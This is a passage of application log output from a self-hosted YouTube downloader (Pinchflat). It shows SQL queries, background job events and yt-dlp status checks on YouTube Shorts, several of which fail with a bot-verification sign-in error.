o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:44.040 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:31:44.041 [debug] QUERY OK source="sources" db=0.6ms idle=6.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:44.042 [debug] QUERY OK source="media_items" db=1.8ms queue=0.1ms idle=6.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [391, 392] 20:31:44.043 [debug] QUERY OK source="media_profiles" db=1.2ms idle=2.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:44.043 [debug] QUERY OK source="media_items" db=0.4ms idle=2.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [392] 20:31:44.044 [debug] QUERY OK source="media_metadata" db=0.0ms idle=4.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [392] 20:31:44.045 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:44.045 [debug] QUERY OK source="settings" db=0.2ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:44.045 [debug] QUERY OK source="settings" db=0.2ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:44.046 [debug] Running yt-dlp command for action: get_downloadable_status 20:31:44.047 [debug] QUERY OK source="settings" db=0.0ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:44.047 [debug] QUERY OK source="settings" db=0.2ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:44.047 [debug] QUERY OK source="settings" db=0.1ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:44.048 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/shorts/Pf1HLLo87oc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/2a/57/2a571aed2c8ec9b0d82c3bd60e8c1bbcde9c0d0d412619e1fc1b937569bbbbd0.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:31:44.587 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/shorts/FRgj9CLLPeQ --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/3f/f4/3ff4f00b9d915a1f8682d07b970516fbc51da4be7adf3c5982666e1e18fd0c60.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] FRgj9CLLPeQ: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 20:31:44.587 [error] yt-dlp download error for media item #391: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] FRgj9CLLPeQ: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:44.588 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] FRgj9CLLPeQ: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:44.590 [info] {"args":{"id":391},"id":232,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":1962779,"event":"job:stop","attempt":1,"queue_time":31625074,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:44.592 [debug] QUERY OK source="tasks" db=1.6ms idle=544.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:44.593 [debug] QUERY OK source="media_items" db=0.9ms idle=544.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [392] 20:31:44.596 [info] {"args":{"id":393},"id":234,"meta":{},"system_time":1774150304596799174,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:44.598 [debug] QUERY OK source="tasks" db=1.4ms idle=7.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:44.599 [debug] QUERY OK source="media_items" db=1.9ms queue=0.1ms idle=549.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [393] 20:31:44.599 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:31:44.600 [debug] QUERY OK source="media_items" db=0.9ms idle=7.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [392, 393] 20:31:44.600 [debug] QUERY OK source="sources" db=1.2ms idle=6.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:44.602 [debug] QUERY OK source="media_profiles" db=0.6ms queue=0.5ms idle=4.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:44.604 [debug] QUERY OK source="media_items" db=0.8ms queue=0.3ms idle=4.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [393] 20:31:44.605 [debug] QUERY OK source="media_metadata" db=0.2ms idle=6.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [393] 20:31:44.606 [debug] QUERY OK source="media_profiles" db=0.3ms idle=5.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:44.607 [debug] QUERY OK source="settings" db=0.6ms idle=5.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:44.607 [debug] QUERY OK source="settings" db=0.6ms idle=4.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:44.608 [debug] Running yt-dlp command for action: get_downloadable_status 20:31:44.609 [debug] QUERY OK source="settings" db=0.2ms idle=5.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:44.610 [debug] QUERY OK source="settings" db=0.3ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:44.610 [debug] QUERY OK source="settings" db=0.3ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:44.610 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/shorts/BuTDBaIe25Q --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/af/dc/afdc48f3af5cc4034847f3f657636c46020d3421f78eace7cb5ae2b5aeee5554.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:31:45.560 [info] {"source":"oban","duration":1295,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:31:45.991 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/shorts/Pf1HLLo87oc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/2a/57/2a571aed2c8ec9b0d82c3bd60e8c1bbcde9c0d0d412619e1fc1b937569bbbbd0.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] Pf1HLLo87oc: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 20:31:45.991 [error] yt-dlp download error for media item #392: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] Pf1HLLo87oc: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:45.992 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] Pf1HLLo87oc: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:45.993 [info] {"args":{"id":392},"id":233,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":1952426,"event":"job:stop","attempt":1,"queue_time":33039131,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:45.994 [debug] QUERY OK source="tasks" db=0.8ms idle=1383.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:45.995 [debug] QUERY OK source="media_items" db=0.3ms idle=1123.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [393] 20:31:46.000 [info] {"args":{"id":394},"id":235,"meta":{},"system_time":1774150306000014432,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:46.001 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=121.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [394] 20:31:46.001 [debug] QUERY OK source="tasks" db=1.1ms idle=7.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:46.001 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:31:46.002 [debug] QUERY OK source="sources" db=0.5ms idle=6.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:46.002 [debug] QUERY OK source="media_items" db=0.7ms queue=0.2ms idle=7.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [393, 394] 20:31:46.003 [debug] QUERY OK source="media_profiles" db=1.1ms idle=2.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:46.005 [debug] QUERY OK source="media_items" db=1.3ms queue=0.2ms idle=2.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [394] 20:31:46.008 [debug] QUERY OK source="media_metadata" db=0.1ms idle=6.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [394] 20:31:46.009 [debug] QUERY OK source="media_profiles" db=0.6ms idle=5.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:46.009 [debug] QUERY OK source="settings" db=0.2ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:46.010 [debug] QUERY OK source="settings" db=0.2ms idle=5.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:46.010 [debug] Running yt-dlp command for action: get_downloadable_status 20:31:46.011 [debug] QUERY OK source="settings" db=0.2ms idle=5.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:46.012 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", 